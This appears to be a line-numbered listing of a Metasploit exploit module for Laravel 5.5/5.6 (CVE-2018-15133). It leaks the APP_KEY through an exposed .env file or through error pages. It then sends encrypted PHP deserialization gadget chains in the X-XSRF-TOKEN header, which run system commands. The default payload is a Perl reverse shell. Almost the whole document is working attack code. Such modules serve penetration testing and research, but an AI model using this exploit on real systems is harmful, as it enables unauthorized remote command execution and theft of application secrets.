Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name' => 'PHP Laravel Framework token Unserialize Remote Command Execution',
15
      'Description' => %q{
16
        This module exploits a vulnerability in the PHP Laravel Framework for versions 5.5.40, 5.6.x <= 5.6.29.
17
        Remote Command Execution is possible via a correctly formatted HTTP X-XSRF-TOKEN header, due to
18
        an insecure unserialize call of the decrypt method in Illuminate/Encryption/Encrypter.php.
19
        Authentication is not required, however exploitation requires knowledge of the Laravel APP_KEY.
20
        Similar vulnerabilities appear to exist within Laravel cookie tokens based on the code fix.
21
        In some cases the APP_KEY is leaked which allows for discovery and exploitation.
22
      },
23
      'DisclosureDate' => '2018-08-07',
24
      'Author' =>
25
        [
26
          'Ståle Pettersen',  # Discovery
27
          'aushack',          # msf exploit + other leak
28
        ],
29
      'References' =>
30
        [
31
          ['CVE', '2018-15133'],
32
          ['CVE', '2017-16894'],
33
          ['URL', 'https://github.com/kozmic/laravel-poc-CVE-2018-15133'],
34
          ['URL', 'https://laravel.com/docs/5.6/upgrade#upgrade-5.6.30'],
35
          ['URL', 'https://github.com/laravel/framework/pull/25121/commits/d84cf988ed5d4661a4bf1fdcb08f5073835083a0']
36
        ],
37
      'License' => MSF_LICENSE,
38
      'Platform' => 'unix',
39
      'Arch' => ARCH_CMD,
40
      'DefaultTarget' => 0,
41
      'Stance' => Msf::Exploit::Stance::Aggressive,
42
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },
43
      'Payload' => { 'DisableNops' => true },
44
      'Targets' => [[ 'Automatic', {} ]],
45
    ))
46

47
    register_options([
48
      OptString.new('TARGETURI', [ true, 'Path to target webapp', '/']),
49
      OptString.new('APP_KEY', [ false, 'The base64 encoded APP_KEY string from the .env file', ''])
50
    ])
51
  end
52

53
  def check
54
    res = send_request_cgi({
55
      'uri' => normalize_uri(target_uri.path, 'index.php'),
56
      'method' => 'GET'
57
    })
58

59
    # Can be 'XSRF-TOKEN', 'X-XSRF-TOKEN', 'laravel_session', or $appname_session... and maybe more?
60
    unless res && res.headers && res.headers.to_s =~ /XSRF-TOKEN|laravel_session/i
61
      return CheckCode::Unknown
62
    end
63

64
    auth_token = check_appkey
65
    if auth_token.blank? || test_appkey(auth_token) == false
66
      vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
67
      return CheckCode::Detected
68
    end
69

70
    random_string = Rex::Text.rand_text_alphanumeric(12)
71

72
    1.upto(4) do |method|
73
      vuln = generate_token("echo #{random_string}", auth_token, method)
74

75
      res = send_request_cgi({
76
        'uri' => normalize_uri(target_uri.path, 'index.php'),
77
        'method' => 'POST',
78
        'headers' => {
79
          'X-XSRF-TOKEN' => "#{vuln}",
80
        }
81
      })
82

83
      if res.body.include?(random_string)
84
        return CheckCode::Vulnerable
85
      # Not conclusive but witnessed in the wild
86
      elsif res.body.include?('Method Not Allowed')
87
        return CheckCode::Safe
88
      end
89
    end
90
    CheckCode::Detected
91
  rescue Rex::ConnectionError
92
    CheckCode::Unknown
93
  end
94

95
  def env_leak
96
    key = ''
97
    vprint_status 'Checking for CVE-2017-16894 .env information leak'
98
    res = send_request_cgi({
99
      'uri' => normalize_uri(target_uri.path, '.env'),
100
      'method' => 'GET'
101
    })
102

103
    # Good but may be other software. Can also check for 'APP_NAME=Laravel' etc
104
    return key unless res && res.body.include?('APP_KEY') && res.body =~ /APP_KEY\=base64:(.*)/
105
    key = $1
106

107
    if key
108
      vprint_good "APP_KEY Found via CVE-2017-16894 .env information leak: #{key}"
109
      return key
110
    end
111

112
    vprint_status 'Website .env file exists but didn\'t find a suitable APP_KEY'
113
    key
114
  end
115

116
  def framework_leak(decrypt_ex = true)
117
    key = ''
118
    if decrypt_ex
119
      # Possible config error / 0day found by aushack during pentest
120
      # Seen in the wild with recent releases
121
      res = send_request_cgi({
122
        'uri' => normalize_uri(target_uri.path, 'index.php'),
123
        'method' => 'POST',
124
        'headers' => {
125
          'X-XSRF-TOKEN' => Rex::Text.rand_text_alpha(1) # May trigger
126
        }
127
      })
128

129
      return key unless res && res.body.include?('DecryptException') && res.body.include?('APP_KEY')
130
    else
131
      res = send_request_cgi({
132
        'uri' => normalize_uri(target_uri.path, 'index.php'),
133
        'method' => 'POST'
134
      })
135

136
      return key unless res && res.body.include?('MethodNotAllowedHttpException') && res.body.include?('APP_KEY')
137
    end
138
    # Good sign but might be more universal with e.g. 'vendor/laravel/framework' ?
139

140
    # Leaks all environment config including passwords for databases, AWS, REDIS, SMTP etc... but only the APP_KEY appears to use base64
141
    if res.body =~ /\>base64:(.*)\<\/span\>/
142
      key = $1
143
      vprint_good "APP_KEY Found via Laravel Framework error information leak: #{key}"
144
    end
145

146
    key
147
  end
148

149
  def check_appkey
150
    key = datastore['APP_KEY'].present? ? datastore['APP_KEY'] : ''
151
    return key unless key.empty?
152

153
    vprint_status 'APP_KEY not set. Will try to find it...'
154
    key = env_leak
155
    key = framework_leak if key.empty?
156
    key = framework_leak(false) if key.empty?
157
    key.empty? ? false : key
158
  end
159

160
  def test_appkey(value)
161
    value = Rex::Text.decode_base64(value)
162
    return true if value && value.length.to_i == 32
163

164
    false
165
  end
166

167
  def generate_token(cmd, key, method)
168
    # Ported phpggc Laravel RCE php objects :)
169
    case method
170
      when 1
171
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:15:"Faker\Generator":1:{s:13:"' + "\x00" + '*' + "\x00" + 'formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
172
      when 2
173
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' + "\x00" + '*' + "\x00" + 'listeners";a:1:{s:' + cmd.length.to_s + ':"' + cmd + '";a:1:{i:0;s:6:"system";}}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
174
      when 3
175
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' + "\x00" + '*' + "\x00" + 'app";s:' + cmd.length.to_s + ':"' + cmd + '";s:17:"' + "\x00" + '*' + "\x00" + 'defaultChannel";s:1:"x";s:17:"' + "\x00" + '*' + "\x00" + 'customCreators";a:1:{s:1:"x";s:6:"system";}}}'
176
      when 4
177
      payload_decoded = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' + "\x00" + '*' + "\x00" + 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:6:"system";}}s:8:"' + "\x00" + '*' + "\x00" + 'event";s:' + cmd.length.to_s + ':"' + cmd + '";}'
178
    end
179

180
    cipher = OpenSSL::Cipher.new('AES-256-CBC') # Or AES-128-CBC - untested
181
    cipher.encrypt
182
    cipher.key = Rex::Text.decode_base64(key)
183
    iv = cipher.random_iv
184

185
    value = cipher.update(payload_decoded) + cipher.final
186
    pload = Rex::Text.encode_base64(value)
187
    iv = Rex::Text.encode_base64(iv)
188
    mac = OpenSSL::HMAC.hexdigest('SHA256', Rex::Text.decode_base64(key), iv+pload)
189
    iv = iv.gsub('/', '\\/') # Escape slash
190
    pload = pload.gsub('/', '\\/') # Escape slash
191
    json_value = %Q({"iv":"#{iv}","value":"#{pload}","mac":"#{mac}"})
192
    json_out = Rex::Text.encode_base64(json_value)
193

194
    json_out
195
  end
196

197
  def exploit
198
    auth_token = check_appkey
199
    if auth_token.blank? || test_appkey(auth_token) == false
200
      vprint_error 'Unable to continue: the set datastore APP_KEY value or information leak is invalid.'
201
      return
202
    end
203

204
    1.upto(4) do |method|
205
      sploit = generate_token(payload.encoded, auth_token, method)
206

207
      res = send_request_cgi({
208
        'uri' => normalize_uri(target_uri.path, 'index.php'),
209
        'method' => 'POST',
210
        'headers' => {
211
        'X-XSRF-TOKEN' => sploit,
212
        }
213
      }, 5)
214

215
      # Stop when one of the deserialization attacks works
216
      break if session_created?
217

218
      if res && res.body.include?('The MAC is invalid|Method Not Allowed') # Not conclusive
219
        print_status 'Target appears to be patched or otherwise immune'
220
      end
221
    end
222
  end
223
end
224

225